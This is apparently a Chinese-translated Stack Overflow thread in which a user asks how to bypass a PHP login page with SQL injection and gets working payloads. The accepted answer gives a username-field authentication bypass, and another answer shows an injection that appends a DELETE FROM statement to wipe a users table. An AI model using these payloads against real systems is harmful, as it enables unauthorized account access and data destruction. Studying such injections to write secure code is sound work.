【问题标题】:Is sql injection possible for php code below?下面的php代码可以进行sql注入吗?
【发布时间】:2014-11-05 16:44:55
【问题描述】:
$sql_checkpasswd = "SELECT user_id, username, user_password, user_active
FROM " . USERS_TABLE . "
WHERE username = '" . $username . "'" . " AND user_password = '" . md5($password). "'";

以上是我的 php 代码的编写方式。这是一个登录页面。

如何在不知道密码的情况下使用sql注入技术登录?

谢谢

我尝试了所有可能的组合 ' 或 '1=1'

' OR '1=1' --

管理员');#

和所有平常的。

查询之一出错:http://prntscr.com/53bmv8

P.s.:我花了很多时间对这个主题进行研究并尝试了许多不同的方法,这就是为什么我发布这个问题以获得一些帮助。我是 sql 注入的新手。

【问题讨论】:

  • 不要忘记--后面的空格
  • 你应该使用sqlmap或其他一些自动注入工具来检查:)
  • 我也会检查一下。我知道havij,但无法下载该链接不起作用。谢谢
  • 当你写出一个问题时,设身处地为他人着想,以及“你”希望如何被解决,只是一个快速的公关提示;)我毫不怀疑你已经完成了你的研究,我相信你。为什么人们投票反对,我不知道这是因为你最初的问题没有咆哮还是之后。人有时可能是奇怪的动物。至于如何让你取得一些成功,我帮不了你,我从来没有真正尝试过做注入,因为我总是使用准备好的语句和 XSS 注入预防。我希望你能得到答案,干杯。 @TheUknown
  • @TheUknown 不客气,很高兴知道您找到了解决方案。 +1

标签: php mysql sql-injection


【解决方案1】:

我终于想通了,可能会帮助其他有同样问题的人:

在用户名字段中输入:

admin' AND 1=1 or '1'='1

上面的用户名可以正常工作,我不必输入密码,可以将其留空,因为查询变成了

$username= admin' AND 1=1 OR '1'='1 AND $password = anything

即使在上述查询中满足一个条件,我也可以获得访问权限,并且用户名部分是 True,因为 1=1AND admin 是现有用户名

【讨论】:

  • 干得好。请记住,一旦您的密码被加盐,您就无法直接在 SQL 中检查密码。所以切换到password_hash()函数进行哈希,从数据库中读取哈希,然后在PHP中使用password_verify()验证哈希。
【解决方案2】:

尝试以下输入:

' OR '1=1' LIMIT 1 -- 

-- 之后包含一个空格,由于某种原因,此处未显示。

【讨论】:

  • @Fred -ii- 我尝试了你所说的并得到了这个:prntscr.com/53bmv8 如果我像你说的那样包含空间,它就没有用
  • 请尝试 ' OR 1=1 LIMIT 1 -- '
【解决方案3】:

我复制了一些例子,希望对你有帮助

Java 原文:“SELECT * FROM users_table WHERE username=” + “'” + username + “'” + “ AND password = “ + “'” + password + “'”;

输入的密码:Aa' OR ''='

Java 结果:“SELECT * FROM users_table WHERE username='anyname' AND password ='Aa' OR''='';

插入的密码:foo';DELETE FROM users_table WHERE username LIKE ‘%

Java 结果:“SELECT * FROM users_table WHERE username='anyname' AND password ='foo'; DELETE FROM users_table WHERE username LIKE ‘%’

【讨论】:

  • 这看起来不错。但在这种情况下,我需要知道用户名,否则这将不起作用,因为它是 AND 条件并且两者都需要为真。我已经尝试了所有方法,即在用户名和密码中使用 ' OR '1=1' 以及更多组合,但没有任何效果。检查我的答案以查看有效的解决方案。感谢您抽出宝贵时间回答这个问题。谢谢
猜你喜欢
  • 1970-01-01
  • 2010-12-25
  • 2015-06-28
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多